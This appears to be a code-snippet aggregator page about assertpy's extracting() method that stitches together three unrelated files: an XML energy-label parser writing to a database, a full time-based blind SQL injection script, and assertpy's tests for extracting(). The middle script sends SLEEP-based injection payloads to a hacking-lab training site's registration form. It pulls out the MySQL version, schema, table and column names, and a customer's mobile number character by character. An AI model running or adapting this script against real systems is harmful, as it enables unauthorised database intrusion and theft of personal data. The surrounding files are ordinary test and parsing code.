How to use extracting method in assertpy

Best Python code snippet using assertpy_python

run_energy_rewrite_2.py

Source:run_energy_rewrite_2.py Github

copy

Full Screen

1from typing import Counter2from energy_label_extracting import parse_energy_label, parse_energy_label_apartments3#from resultdata_labelresults import parse_resultdata_label_result 4from resultdata_building_result import parse_resultdata_building_result5from status_extracting import parse_status6from inputdata_proposalgroup_extracting import parse_inputdata_proposalgroup, parse_inputdata_proposalreference7from utils import get_logger, get_connection8import sys9from copy import deepcopy10from zone_result_status_fuelconsumption_extracting import parse_zone_result_status_fuelconsumption11from zone_result_status_extracting import parse_zone_result_status12from zone_result_status_calculatedsbiresults_resultfigures_extracting import parse_zone_result_status_calculatedsbiresult_resultfigures13from zone_result_status_calculatedsbiresults_keyfigures_extracting import parse_zone_result_status_calculatedsbiresult_keyfigures14from zone_result_status_calculatedbe15results_resultfigures_extracting import parse_zone_result_status_calculatedbe15result_resultfigures15from zone_result_status_calculatedbe15results_keyfigures_extracting import parse_zone_result_status_calculatedbe15result_keyfigures16from zone_result_status_calculatedbe18results_resultfigures_extracting import parse_zone_result_status_calculatedbe18result_resultfigures17from zone_result_status_calculatedbe18results_keyfigures_extracting import parse_zone_result_status_calculatedbe18result_keyfigures18from zone_result_status_calculatedbe10results_resultfigures_extracting import parse_zone_result_status_calculatedbe10result_resultfigures19from zone_result_status_calculatedbe10results_keyfigures_extracting import parse_zone_result_status_calculatedbe10result_keyfigures20from zone_result_status_calculatedbe06results_resultfigures_extracting import parse_zone_result_status_calculatedbe06result_resultfigures21from zone_result_status_calculatedbe06results_keyfigures_extracting import parse_zone_result_status_calculatedbe06result_keyfigures22from zone_result_resultforallprofitableproposals_extracting import parse_zone_resultforallprofitableproposals23from zone_result_f_a_p_proposals_calculatedbe06result_resultfigures_extracting import parse_result_f_a_p_proposals_calculatedbe06result_resultfigures24from zone_result_f_a_p_proposals_calculatedbe06result_keyfigures_extracting import parse_result_f_a_p_proposals_calculatedbe06result_keyfigures25from zone_result_f_a_p_proposals_calculatedbe10result_resultfigures_extracting import parse_result_f_a_p_proposals_calculatedbe10result_resultfigures26from zone_result_f_a_p_proposals_calculatedbe10result_keyfigures_extracting import parse_result_f_a_p_proposals_calculatedbe10result_keyfigures27from zone_result_f_a_p_proposals_calculatedbe15result_resultfigures_extracting import parse_result_f_a_p_proposals_calculatedbe15result_resultfigures28from zone_result_f_a_p_proposals_calculatedbe15result_keyfigures_extracting import parse_result_f_a_p_proposals_calculatedbe15result_keyfigures29from zone_result_f_a_p_proposals_calculatedsbiresults_resultfigures_extracting import parse_result_f_a_p_proposals_calculatedsbiresult_resultfigures30from zone_result_f_a_p_proposals_calculatedbe18result_resultfigures_extracting import parse_result_f_a_p_proposals_calculatedbe18result_resultfigures31from zone_result_f_a_p_proposals_calculatedbe18result_keyfigures_extracting import parse_result_f_a_p_proposals_calculatedbe18result_keyfigures32from zone_result_f_a_p_proposals_calculatedsolarcellutilization_extracting import parse_result_f_a_p_proposals_calculatedsolarcellutilization33from zone_result_f_a_p_proposals_calculatedsbiresults_keyfigures_extracting import parse_result_f_a_p_proposals_calculatedsbiresult_keyfigures34from zone_result_f_a_p_proposals_fuelconsumption_extracting import parse_result_f_a_p_proposals_fuelconsumption35from zone_result_resultforallproposals_extracting import parse_zone_result_resultforallproposals36from zone_result_resultforallproposals_fuelconsumption_extracting import parse_zone_result_resultforallproposals_fuelconsumption37from zone_result_resultforallproposals_calculatedsolarcellutilization_extracting import parse_zone_result_resultforallproposals_calculatedsolarcellutilization38from zone_result_resultforallproposals_calculatedbe18result_keyfigures_extracting import parse_result_resultforallproposals_calculatedbe18result_keyfigures39from zone_result_resultforallproposals_calculatedbe18result_resultfigures_extracting import parse_result_resultforallproposals_calculatedbe18result_resultfigures40from zone_result_resultforallproposals_calculatedbe15result_keyfigures_extracting import parse_result_resultforallproposals_calculatedbe15result_keyfigures41from zone_result_resultforallproposals_calculatedbe15result_resultfigures_extracting import parse_result_resultforallproposals_calculatedbe15result_resultfigures42from zone_result_resultforallproposals_calculatedbe10result_keyfigures_extracting import parse_result_resultforallproposals_calculatedbe10result_keyfigures43from zone_result_resultforallproposals_calculatedbe10result_resultfigures_extracting import parse_result_resultforallproposals_calculatedbe10result_resultfigures44from zone_result_resultforallproposals_calculatedbe06result_keyfigures_extracting import parse_result_resultforallproposals_calculatedbe06result_keyfigures45from zone_result_resultforallproposals_calculatedbe06result_resultfigures_extracting import parse_result_resultforallproposals_calculatedbe06result_resultfigures46from zone_result_extracting import parse_zone_result47from zone_result_resultsforeachproposalgroup_extracting import parse_zone_result_resultsforeachproposalgroup48from zone_result_resultforeachproposalgroup_proposalresult_extracting import parse_zone_result_resultforeachproposalgroup_proposalresult49from zone_result_resultforeachproposalgroup_fuelsavings_extracting import parse_zone_result_resultforeachproposalgroup_fuelsavings50from building_extracting import parse_building, parse_building_address51from building_bbr_extracting import parse_building_bbr52from building_zones_zone_extracting import parse_building_zones_zone53#from building_zones_zone_buildingunits_status_extracting import parse_building_zones_zone_buildingunits_status54#import inputdata_for_autolabels_extracting_test255#Names are too long!56from inputdata_for_autolabels_extracting_test2 import parse_inputdata_for_autolabels_address_extracting_test, parse_inputdata_for_autolabels_bbr_extracting_test57from inputdata_for_autolabels_extracting_test2 import parse_inputdata_for_autolabels_buildings_ref_extracting_test, parse_inputdata_for_autolabels_buildings_address_extracting_test58from inputdata_for_autolabels_extracting_test2 import parse_inputdata_for_autolabels_buildings_bbr_extracting_test59from lxml import etree as ET60import sys61import os62from pprint import pprint63def get_root(doc, etree_content):64 try:65 tree = ET.parse(doc)66 if etree_content == 'EnergyLabel': return tree.getroot()67 etree = tree.findall('.//{*}' + etree_content)68 except ET.XMLSyntaxError:69 return None70 return etree71def insert_energylabel_serial_identifier(etree, doc, cur, logging):72 try:73 tag = etree[0].tag.split("}")[1]74 if tag == "EnergyLabelSerialIdentifier":75 esi = etree[0].text76 sql_statement = """INSERT INTO77 test1.xmldoc(energylabel_serial_identifier, xml_name)78 VALUES(%s, %s)79 RETURNING id"""80 cur.execute(sql_statement, [esi, doc.split("/")[-1]])81 serial_id = cur.fetchone()[0]82 # logging.info('test logging succesfull', extra={'energylabel_serial_identifier': esi})83 return esi, serial_id84 except IndexError:85 pass86def handle_dicts_rewrite(pretty_doc, content, esi, serial_id, logging, cur, conn, etree_param = None, decision_string = "none", id_func_list=[]):87 # global id_func88 # global id_func_counter89 # global prev90 for key, vals in content.items():91 92 if etree_param is None:93 print('1')94 print("key: ", key)95 print("vals: ", vals)96 etree = get_root(pretty_doc, key)97 print("1: etree: ", etree)98 else:99 print('2')100 etree = etree_param.findall('.//{*}' + key)101 if isinstance(vals, dict):102 print('3')103 for et in etree:104 handle_dicts_rewrite(pretty_doc, content, esi, serial_id, logging, cur, conn, et)105 else:106 id_func = 0107 print('4')108 print('4 id_func: ', id_func)109 print('4 etree: ', etree)110 #get the function call from list in dict, no parameters111 function = vals[1]112 print('4 function: ', function)113 id_func = function(etree, content, serial_id, logging, esi, cur, conn, id_func)114 print('4 id_func: ', id_func)115 for item in etree[0]: 116 for elem in item.iter():117 if 'EnergyLabelClassification' in elem.tag: #310020992118 key_elem = elem.tag.split("}")[1]119 value = elem.text120 # print(key_elem, " ", value )121 #print(elem)122 123 if len(item) == 0:124 key = item.tag.split("}")[1]125 #print(key)126 value = item.text127 128 if etree_param is None:129 print("1, etree_param none")130 etree = get_root(pretty_doc, key)131 else:132 print("2, etree_param set")133 etree = etree_param.findall('.//{*}' + key)134 if isinstance(vals, dict):135 print("3, vals is dict")136 for et in etree:137 handle_dicts_rewrite(pretty_doc, vals, esi, serial_id, logging, cur, conn, et)138 else:139 print("4, vals not dict")140 function = vals[1]141 print("function: ", function)142 overwrite = vals[-1] #-1 means last item.143 print("overwrite: ", overwrite)144 overwrite_ids = []145 if id_func_counter == -1:146 break147 for et in etree:148 print("5, iterate innermost dict level's etree")149 if overwrite is True:150 print("6, overwrite the id_func")151 id_func = function(et, content, serial_id, logging, esi, cur, conn, id_func)152 print("id_func handle_dict: ", id_func)153 print('True is overwriting id_func: ', id_func)154 id_func_counter = -1155 else:156 print("7, don't overwrite the id_func")157 prev = id_func_counter158 print("id_func_counter: ", id_func_counter)159 #print('id_func: ', id_func)160 #print('id_func_counter: ', id_func_counter)161 #print('len etree: ', len(etree))162 function(et, content, serial_id, logging, esi, cur, conn, id_func[id_func_counter])163 if id_func_counter != -1 and id_func_counter == prev:164 print("8")165 #print('plus 1')166 id_func_counter += 1167 #print("Post2: ", id_func)168def handle_dicts_new(pretty_doc, content, esi, serial_id, logging, cur, conn, etree_param = None, prev_function = None):169 global id_func170 global id_func_counter171 #global prev172 for key, vals in content.items():173 if etree_param is None:174 etree = get_root(pretty_doc, key)175 else:176 etree = etree_param.findall('.//{*}' + key)177 if isinstance(vals, dict):178 for et in etree:179 handle_dicts_new(pretty_doc, vals, esi, serial_id, logging, cur, conn, et)180 else:181 function = vals[1]182 overwrite = vals[-1]183 #overwrite_ids = []184 185 for et in etree:186 if overwrite is True:187 print("Overwriting id_func. Previous id_func: ", id_func)188 print('ETREE BEING CALLED (with overwrite): ', et)189 id_func = function(et, content, serial_id, logging, esi, cur, conn, id_func)190 print("Wrote new id_func: ", id_func)191 # if isinstance(id_func, list):192 # del id_func193 # id_func[0] = new_id194 # print("updated id_func list: ", id_func)195 # else:196 # id_func[0] = new_id197 # print("new id_func list", id_func)198 #id_func_counter = -1199 else: 200 if isinstance(id_func, list):201 if len(id_func) > 0:202 print("Got id_func list")203 print('ETREE BEING CALLED: ', et)204 function(et, content, serial_id, logging, esi, cur, conn, id_func)205 #id_func.pop(0)206 else:207 print("How did you get here? - id_func is not a list")208 print('id_func after et for loop: ', id_func)209 #print('id_func_counter: ', id_func_counter)210 print('len etree after et for loop: ', len(etree))211 print('etree after for loop: ', etree)212def main():213 debug = None214 if len(sys.argv) > 1:215 debug = True216 logging = get_logger(debug)217 content_types_test = [218 'EnergyLabelSerialIdentifier',219 {"InputDataForAutoLabels": {"Label": {"Address": [None, parse_inputdata_for_autolabels_address_extracting_test]}}},220 {"InputDataForAutoLabels": {"Label": {"BBR": [None, parse_inputdata_for_autolabels_bbr_extracting_test]}}},221 {"InputDataForAutoLabels": {"Label": {"Buildings": [None, parse_inputdata_for_autolabels_buildings_ref_extracting_test, True]}}},222 {"InputDataForAutoLabels": {"Label": {"Buildings": {"Building": {"Address": [None, parse_inputdata_for_autolabels_buildings_address_extracting_test]}}}}},223 {"InputDataForAutoLabels": {"Label": {"Buildings": {"Building": {"BBR": [None, parse_inputdata_for_autolabels_buildings_bbr_extracting_test]}}}}}224 #{'InputData': [None, parse_building, True]},225 #{'InputData': {'Building': {'Address': [None, parse_building_address]}}},226 #{'InputData': {'Building': {'BBR': [None, parse_building_bbr]}}},227 #{'InputData': {'Building': {'Zones': [None, parse_building_zones_zone, True]}}},228 #{'InputData': {'Building': {'Zones': {'Zone': {'BuildingUnits': {'Status': [None, parse_building_zones_zone_buildingunits_status]}}}}}}229 #{'InputData': {"Label": {"ProposalGroups": [None, parse_inputdata_proposalgroup, True]}}}, #(FB) Not tested, needs Inputdata_Label_ids230 #{'InputData': {'Label': {'ProposalGroups': {'ProposalGroup': {'ProposalReferences': [None, parse_inputdata_proposalreference]}}}}}231 ]232 esi = None233 serial_id = None234 with get_connection() as conn:235 with conn.cursor() as cur:236 file_path = "/home/energy_extract/out"237 for pretty_doc in os.listdir(file_path):238 if not '310020992' in pretty_doc: #310020992239 continue240 print(pretty_doc)241 pretty_doc = file_path + "/" + pretty_doc242 global id_func 243 global id_func_counter244 #global prev245 id_func = []246 # print("id_func main: ", id_func)247 for index, content in enumerate(content_types_test):248 #print('reached actual content: ', content)249 id_func_counter = 0250 index += 1251 #if index == 6:252 #sys.exit(1)253 if isinstance(content, dict):254 handle_dicts_new(pretty_doc, content, esi, serial_id, logging, cur, conn)255 continue256 etree = get_root(pretty_doc, content)257 if content == "EnergyLabelSerialIdentifier":258 esi, serial_id = insert_energylabel_serial_identifier(etree, pretty_doc, cur, logging)259if __name__ == "__main__":260 main()261#NOT USED262def handle_dicts(pretty_doc, content, esi, serial_id, logging, cur, conn, etree_param = None):263 global id_func264 for key, vals in content.items():265 if etree_param is not None:266 #print("Key: ", key)267 etree = etree_param.findall('.//{*}' + key)268 else:269 etree = get_root(pretty_doc, key)270 for et in etree:271 if isinstance(vals, dict):272 for key1 in vals.keys():273 if isinstance(vals[key1], dict):274 et_keys = et.findall('.//{*}' + key1)275 for et_key in et_keys:276 handle_dicts(pretty_doc, vals[key1], esi, serial_id, logging, cur, conn, et_key)277 else:278 function = vals[key1][1]279 id_func = function(et, content, serial_id, logging, esi, cur, conn, id_func)280 #print("Post: ", id_func)281 else:282 function = vals[1]...

Full Screen

Full Screen

sql_timebase_blind.py

Source:sql_timebase_blind.py Github

copy

Full Screen

1#!/usr/bin/python2# author : @g0vandS, Govand Sinjari3# license : MIT4print '*****************************************************************'5print 'TimeBased Blind SQL Injection for MySQL server, Version 1.0'6print 'By Govand Sinjari, 2013-12-30, San Diego, USA'7print 8print '0 Extracting SQL version'9print '1 Extracting CURRENT DATABASE USER character length'10print '2 Extracting CURRENT DATABASE NAME'11print '3 Extracting current DB Name'12print '4 Extracting numbers of DBs'13print '5 Extracting of name in DBs'14print '6 Extracting numbers of Tables in a specific DB'15print '7 Extracting of Table name in a specific DB'16print '8 Extracting numbers of Columns in a specific Tables'17print '9 Extracting of Columns name in a specific Table'18print '10 Extracting of column content'19print20print 'default will be option 0'21print22import urllib23import urllib224from datetime import datetime25import sys26fx = open('result.log','a')27url = 'https://glocken.hacking-lab.com/12001/blindsql_case1/auth_blindsql1/register'28#url = 'http://govand.info/ip.php'29Hostx = 'glocken.hacking-lab.com'30UserAgentx = 'Mozilla/5.0 (compatible; Govandbot-py/1.0; MSIE 5.5; Windows NT)'31Acceptx = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'32AcceptLanguagex = 'en-US,en\;q=0.5'33AcceptEncodingx = 'gzip, deflate'34Refererx = 'https://glocken.hacking-lab.com/12001/blindsql_case1/auth_blindsql1/register'35Connectionx = 'keep-alive'36ContentTypex = 'application/x-www-form-urlencoded'37ContentLengthx = 32238#sqlx = '\' OR SLEEP(4)=0 LIMIT 1-- '39#headers = { 'User-Agent' : UserAgentx, 'Accept' : Acceptx, 'Accept-Language' : AcceptLanguagex, 'Accept-Encoding' : AcceptEncodingx, 'Referer' : Refererx, 'Connection' : Connectionx, 'Content-Type' : ContentTypex, 'Content-Length' : ContentLengthx }40headers = { 'User-Agent' : UserAgentx, 'Content-Type' : ContentTypex }41originalURLx = 'https%3A%2F%2Fglocken.hacking-lab.com%2F12001%2Fblindsql_case1%2Fblindsql1%2Fcontroller%3Faction%3Dprofile'42sleepx = 443myrangechar = range(97,123)44myrangecharnum = range(97,122)45myrangecharnum.append(95)46myrangecharnum.extend(range(48,59))47dbx = '"glocken_emil"'48tablex = '"customers"'49def reqsend(url, data, headers): 50 t1 = datetime.now()51 try:52 req = urllib2.Request (url, data, headers)53 result = urllib2.urlopen(req)54 except urllib2.HTTPError, e:55 print 'HTTPError = ' + str(e.code)56 sys.exit()57 except urllib2.URLError, e:58 print 'URLError = ' + str(e.reason)59 sys.exit()60 except:61 print 'Something went wrong!!'62 sys.exit()63 t2 = datetime.now()64 td = t2-t165 #print result.read()66 return td.seconds67def postx(sqlx):68 values = {'action' : 'newPassword', 'originalURL' : originalURLx, 'username' : sqlx }69 data = urllib.urlencode(values)70 return data 71##### 0 Extracting SQL version using Time base SQL Injection72def sqlver(a,b):73 sqlx = '\' OR IF((ORD(MID((VERSION()),%d,1))=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (a,b,sleepx)74 timex = reqsend(url, postx(sqlx), headers)75 return timex76def getsqlver():77 for x in range (1,5):78 for y in range (46,58):79 execx = sqlver(x,y)80 if execx > sleepx:81 print 'found: ', chr(y)82 outx = str(datetime.now()) + ' - found: ' + chr(y) + '\r\n'83 fx.write(outx)84 break85 return86##### 1 Extracting CURRENT DATABASE USER charecter length using Time base SQL Injection87def sql1(c):88 sqlx = '\' OR IF((CHAR_LENGTH(USER())=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (c,sleepx)89 timex = reqsend(url, postx(sqlx), headers)90 return timex91def getsql1():92 for x in range (1,18):93 execx = sql1(x)94 if execx > sleepx:95 print 'found: ', x96 outx = str(datetime.now()) + ' - found: ' + str(x) + '\r\n'97 fx.write(outx)98 continue99 return100##### 2 Extrating CURRENT DATABASE NAME using Time base SQL Injection101def sql2(d):102 sqlx = '\' OR IF((CHAR_LENGTH(DATABASE())=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (d,sleepx)103 timex = reqsend(url, postx(sqlx), headers)104 return timex105def getsql2():106 for x in range (1,20):107 execx = sql2(x)108 if execx > sleepx:109 print 'found: ', x110 outx = str(datetime.now()) + ' - found: ' + str(x) + '\r\n'111 fx.write(outx)112 break113 return114##### 3 Extracting current DB Name115def sql3(a,b):116 sqlx = '\' OR IF((ASCII(lower(substring((DATABASE()),%d,1)))=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (a,b,sleepx)117 timex = reqsend(url, postx(sqlx), headers)118 return timex119def getsql3():120 for x in range (1,7):121 for y in range (97,122):122 execx = sql3(x,y)123 if execx > sleepx:124 print 'found: ', x , ' : ' , chr(y)125 outx = str(datetime.now()) + ' - found: ' + str(x) + ' : ' + chr(y) + '\r\n'126 fx.write(outx)127 break128 return129##### 4 Extracting numbers of DBs130def sql4(a):131 sqlx = '\' OR IF((SELECT COUNT(*) FROM information_schema.schemata)=%d,SLEEP(%d)=0,0) LIMIT 1-- ' % (a,sleepx)132 timex = reqsend(url, postx(sqlx), headers)133 return timex134def getsql4():135 for x in range (1,50):136 execx = sql4(x)137 if execx > sleepx:138 print 'found: ', x139 outx = str(datetime.now()) + ' - found: ' + str(x) + '\r\n'140 fx.write(outx)141 break142 return143##### 5 Extracting of name in DBs144def sql5(a,b,c):145 sqlx = '\' OR IF(((SELECT ASCII(lower(SUBSTRING(SCHEMA_NAME,%d,1))) FROM information_schema.SCHEMATA LIMIT %d,1)=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (b,a,c,sleepx)146 timex = reqsend(url, postx(sqlx), headers)147 return timex148def getsql5():149 for x in range (1,15):150 print "DB name: " + str(x)151 for y in range (1,16):152 for z in myrangecharnum:153 execx = sql5(x,y,z)154 if execx > sleepx:155 print chr(z)156 outx = str(datetime.now()) + ' - found: ' + str(x) + ' , ' + str(y) + ':' + chr(z) + '\r\n'157 fx.write(outx)158 break159 if z == 58:160 print "No more letters or numbers"161 break162 return163##### 6 Extracting numbers of Tables in a specific DB164def sql6(a):165 sqlx = '\' OR IF((SELECT COUNT(*) FROM information_schema.tables where table_schema=%s)=%d,SLEEP(%d)=0,0) LIMIT 1-- ' % (dbx,a,sleepx)166 #print sqlx167 timex = reqsend(url, postx(sqlx), headers)168 return timex169def getsql6():170 for x in range (1,50):171 execx = sql6(x)172 if execx > sleepx:173 print 'found: ', x174 outx = str(datetime.now()) + ' - found: ' + str(x) + '\r\n'175 fx.write(outx)176 break177 return178##### 7 Extracting of Table name in a specific DB179def sql7(a,b,c):180 sqlx = '\' OR IF(((SELECT ASCII(lower(SUBSTRING(TABLE_NAME,%d,1))) FROM information_schema.tables where table_schema=%s LIMIT %d,1)=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (b,dbx,a,c,sleepx)181 timex = reqsend(url, postx(sqlx), headers)182 return timex183def getsql7():184 for x in range (3,15):185 print "Table name: " + str(x)186 for y in range (1,16):187 for z in myrangecharnum:188 execx = sql7(x,y,z)189 if execx > sleepx:190 print chr(z)191 outx = str(datetime.now()) + ' - ' + chr(z) + '\r\n'192 fx.write(outx)193 break194 if z == 58:195 print "No more letters or numbers"196 break197 return198##### 8 Extracting numbers of Columns in a specific Tables199def sql8(a):200 sqlx = '\' OR IF((SELECT COUNT(*) FROM information_schema.columns where table_name=%s)=%d, SLEEP(%d)=0,0) LIMIT 1-- ' % (tablex,a,sleepx)201 timex = reqsend(url, postx(sqlx), headers)202 return timex203def getsql8():204 for x in range (1,50):205 execx = sql8(x)206 if execx > sleepx:207 print 'found: ', x208 outx = str(datetime.now()) + ' - found: ' + str(x) + '\r\n'209 fx.write(outx)210 break211 return212##### 9 Extracting of Columns name in a specific Table213def sql9(a,b,c):214 sqlx = '\' OR IF(((SELECT ASCII(lower(SUBSTRING(COLUMN_NAME,%d,1))) FROM information_schema.columns where table_name=%s and table_schema=%s LIMIT %d,1)=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (b,tablex,dbx,a,c,sleepx)215 timex = reqsend(url, postx(sqlx), headers)216 return timex217def getsql9():218 for x in range (10,12):219 print "Column name: " + str(x)220 outx = str(datetime.now()) + ' - Column name: ' + str(x) + '\r\n'221 fx.write(outx)222 for y in range (1,16):223 for z in myrangecharnum:224 execx = sql9(x,y,z)225 if execx > sleepx:226 print chr(z)227 outx = str(datetime.now()) + ' - ' + chr(z) + '\r\n'228 fx.write(outx)229 break230 if z == 58:231 print "No more letters or numbers"232 break233 return234##### 10 Extracting of column content235def sql10(a,b,c):236 sqlx = '\' OR IF(((SELECT ascii(lower(SUBSTRING(mobile,%d,1))) FROM %s.%s where name = "Sandra" LIMIT %d,1)=%d),SLEEP(%d)=0,0) LIMIT 1-- ' % (b,dbx.strip('""'),tablex.strip('""'),a,c,sleepx)237 timex = reqsend(url, postx(sqlx), headers)238 return timex239def getsql10():240 for x in range (0,12):241 print "Column name: " + str(x)242 outx = str(datetime.now()) + ' - Column name: ' + str(x) + '\r\n'243 fx.write(outx)244 for y in range (1,16):245 for z in range(48,59):246 execx = sql10(x,y,z)247 if execx > sleepx:248 print chr(z)249 outx = str(datetime.now()) + ' - ' + chr(z) + '\r\n'250 fx.write(outx)251 break252 if z == 58:253 print "No more letters or numbers"254 break255 return256if len(sys.argv) == 1:257 print 'Usage: '+ sys.argv[0]+ ' option'258 print 259 argx = '0'260else: 261 argx = sys.argv[1]262#print argx263print "Sleep seconds: ", sleepx264if argx == '0':265 print 'Extracting SQL version'266 outx = str(datetime.now()) + ' - Extracting SQL version\r\n'267 fx.write(outx)268 getsqlver()269if argx == '1':270 print 'Extracting current USER name length'271 outx = str(datetime.now()) + ' - Extracting current USER name length\r\n'272 fx.write(outx)273 getsql1()274if argx == '2':275 print 'Extracting current DB Name Lenght'276 outx = str(datetime.now()) + ' - Extracting DB Name Lenght\r\n'277 fx.write(outx)278 getsql2()279if argx == '3':280 print 'Extracting current DB Name'281 outx = str(datetime.now()) + ' - Extracting current DB Name\r\n'282 fx.write(outx)283 getsql3()284if argx == '4':285 print 'Extacting number of DBs'286 outx = str(datetime.now()) + ' - Extracting number of DBs\r\n'287 fx.write(outx)288 getsql4()289if argx == '5':290 print 'Extracting name of DBs'291 outx = str(datetime.now()) + ' - Extracting name of DBs\r\n'292 fx.write(outx)293 getsql5()294if argx == '6':295 print 'Extacting number of Tables in a Database'296 print 'Database name: ' + dbx297 outx = str(datetime.now()) + ' - Extracting number of Tables in a Database\r\n'298 fx.write(outx)299 outx = str(datetime.now()) + ' - Database name: ' + dbx + '\r\n'300 fx.write(outx)301 getsql6()302 303if argx == '7':304 print 'Extacting Table name in a specific Database'305 print 'Database name: ' + dbx306 outx = str(datetime.now()) + ' - Extracting Table name in a specific Database\r\n'307 fx.write(outx)308 outx = str(datetime.now()) + ' - Database name: ' + dbx + '\r\n'309 fx.write(outx)310 getsql7()311 312if argx == '8':313 print 'Extacting number of Columns in a Tables'314 print 'Table name: ' + tablex315 outx = str(datetime.now()) + ' - Extracting number of Columns in a Tables\r\n'316 fx.write(outx)317 outx = str(datetime.now()) + ' - Table name: ' + tablex + '\r\n'318 fx.write(outx)319 getsql8()320 321if argx == '9':322 print 'Extacting Column content'323 print 'Database name: ' + dbx324 print 'Table name: ' + tablex325 outx = str(datetime.now()) + ' - Extracting Columns name in a Tables and DB\r\n'326 fx.write(outx)327 outx = str(datetime.now()) + ' - Database name: ' + dbx + '\r\n'328 fx.write(outx)329 outx = str(datetime.now()) + ' - Table name: ' + tablex + '\r\n'330 fx.write(outx)331 getsql9()332if argx == '10':333 print 'Extacting Column content'334 print 'Database name: ' + dbx 335 print 'Table name: ' + tablex336 print 'Column name: mobile'337 outx = str(datetime.now()) + ' - Extracting Columns name in a Tables and DB\r\n'338 fx.write(outx)339 outx = str(datetime.now()) + ' - Database name: ' + dbx + '\r\n'340 fx.write(outx)341 outx = str(datetime.now()) + ' - Table name: ' + tablex + '\r\n'342 fx.write(outx)343 getsql10()344print ''...

Full Screen

Full Screen

test_extracting.py

Source:test_extracting.py Github

copy

Full Screen

...39fred = Person('Fred', 'Smith', 12)40john = Person('John', 'Jones', 9.5)41people = [fred, john]42def test_extracting_property():43 assert_that(people).extracting('first_name').contains('Fred','John')44def test_extracting_multiple_properties():45 assert_that(people).extracting('first_name', 'last_name', 'shoe_size').contains(('Fred','Smith',12), ('John','Jones',9.5))46def test_extracting_zero_arg_method():47 assert_that(people).extracting('full_name').contains('Fred Smith', 'John Jones')48def test_extracting_property_and_method():49 assert_that(people).extracting('first_name', 'full_name').contains(('Fred','Fred Smith'), ('John', 'John Jones'))50def test_extracting_dict():51 people_as_dicts = [{'first_name': p.first_name, 'last_name': p.last_name} for p in people]52 assert_that(people_as_dicts).extracting('first_name').contains('Fred','John')53 assert_that(people_as_dicts).extracting('last_name').contains('Smith','Jones')54def test_extracting_bad_val_failure():55 try:56 assert_that(123).extracting('bar')57 fail('should have raised error')58 except TypeError as ex:59 assert_that(str(ex)).is_equal_to('val is not iterable')60def test_extracting_bad_val_str_failure():61 try:62 assert_that('foo').extracting('bar')63 fail('should have raised error')64 except TypeError as ex:65 assert_that(str(ex)).is_equal_to('val must not be string')66def test_extracting_empty_args_failure():67 try:68 assert_that(people).extracting()69 fail('should have raised error')70 except ValueError as ex:71 assert_that(str(ex)).is_equal_to('one or more name args must be given')72def test_extracting_bad_property_failure():73 try:74 assert_that(people).extracting('foo')75 fail('should have raised error')76 except ValueError as ex:77 assert_that(str(ex)).is_equal_to('val does not have property or zero-arg method <foo>')78def test_extracting_too_many_args_method_failure():79 try:80 assert_that(people).extracting('say_hello')81 fail('should have raised error')82 except ValueError as ex:83 assert_that(str(ex)).is_equal_to('val method <say_hello()> exists, but is not zero-arg method')84def test_extracting_dict_missing_key_failure():85 people_as_dicts = [{'first_name': p.first_name, 'last_name': p.last_name} for p in people]86 try:87 assert_that(people_as_dicts).extracting('foo')88 fail('should have raised error')89 except ValueError as ex:90 assert_that(str(ex)).matches(r'item keys \[.*\] did not contain key <foo>')91def test_described_as_with_extracting():92 try:93 assert_that(people).described_as('extra msg').extracting('first_name').contains('Fred','Bob')94 fail('should have raised error')95 except AssertionError as ex:96 assert_that(str(ex)).is_equal_to("[extra msg] Expected <['Fred', 'John']> to contain items <'Fred', 'Bob'>, but did not contain <Bob>.")97def test_described_as_with_double_extracting():98 try:99 assert_that(people).described_as('extra msg').extracting('first_name').described_as('other msg').contains('Fred','Bob')100 fail('should have raised error')101 except AssertionError as ex:102 assert_that(str(ex)).is_equal_to("[other msg] Expected <['Fred', 'John']> to contain items <'Fred', 'Bob'>, but did not contain <Bob>.")103users = [104 {'user': 'Fred', 'age': 36, 'active': True},105 {'user': 'Bob', 'age': 40, 'active': False},106 {'user': 'Johnny', 'age': 13, 'active': True}107]108def test_extracting_filter():109 assert_that(users).extracting('user', filter='active').is_equal_to(['Fred','Johnny'])110 assert_that(users).extracting('user', filter={'active': False}).is_equal_to(['Bob'])111 assert_that(users).extracting('user', filter={'age': 36, 'active': True}).is_equal_to(['Fred'])112 assert_that(users).extracting('user', filter=lambda x: x['age'] > 20).is_equal_to(['Fred', 'Bob'])113 assert_that(users).extracting('user', filter=lambda x: x['age'] < 10).is_empty()114def test_extracting_filter_bad_type():115 assert_that(users).extracting('user', filter=123).is_equal_to([])116def test_extracting_filter_ignore_bad_key_types():117 assert_that(users).extracting('user', filter={'active': True, 123: 'foo'}).is_equal_to(['Fred','Johnny'])118def test_extracting_filter_custom_func():119 def _f(x):120 return x['user'] == 'Bob' or x['age'] == 13121 assert_that(users).extracting('user', filter=_f).is_equal_to(['Bob', 'Johnny'])122def test_extracting_filter_failure():123 try:124 assert_that(users).extracting('user', filter='foo')125 fail('should have raised error')126 except ValueError as ex:127 assert_that(str(ex)).ends_with("'] did not contain key <foo>")128def test_extracting_filter_dict_failure():129 try:130 assert_that(users).extracting('user', filter={'foo': 'bar'})131 fail('should have raised error')132 except ValueError as ex:133 assert_that(str(ex)).ends_with("'] did not contain key <foo>")134def test_extracting_filter_multi_item_dict_failure():135 try:136 assert_that(users).extracting('user', filter={'age': 36, 'active': True, 'foo': 'bar'})137 fail('should have raised error')138 except ValueError as ex:139 assert_that(str(ex)).ends_with("'] did not contain key <foo>")140def test_extracting_filter_lambda_failure():141 try:142 assert_that(users).extracting('user', filter=lambda x: x['foo'] > 0)143 fail('should have raised error')144 except KeyError as ex:145 assert_that(str(ex)).is_equal_to("'foo'")146def test_extracting_filter_custom_func_failure():147 def _f(x):148 raise RuntimeError('foobar!')149 try:150 assert_that(users).extracting('user', filter=_f)151 fail('should have raised error')152 except RuntimeError as ex:153 assert_that(str(ex)).is_equal_to("foobar!")154def test_extracting_filter_bad_values():155 bad = [156 {'user': 'Fred', 'age': 36},157 {'user': 'Bob', 'age': 'bad'},158 {'user': 'Johnny', 'age': 13}159 ]160 if sys.version_info[0] == 3:161 try:162 assert_that(bad).extracting('user', filter=lambda x: x['age'] > 20)163 fail('should have raised error')164 except TypeError as ex:165 if 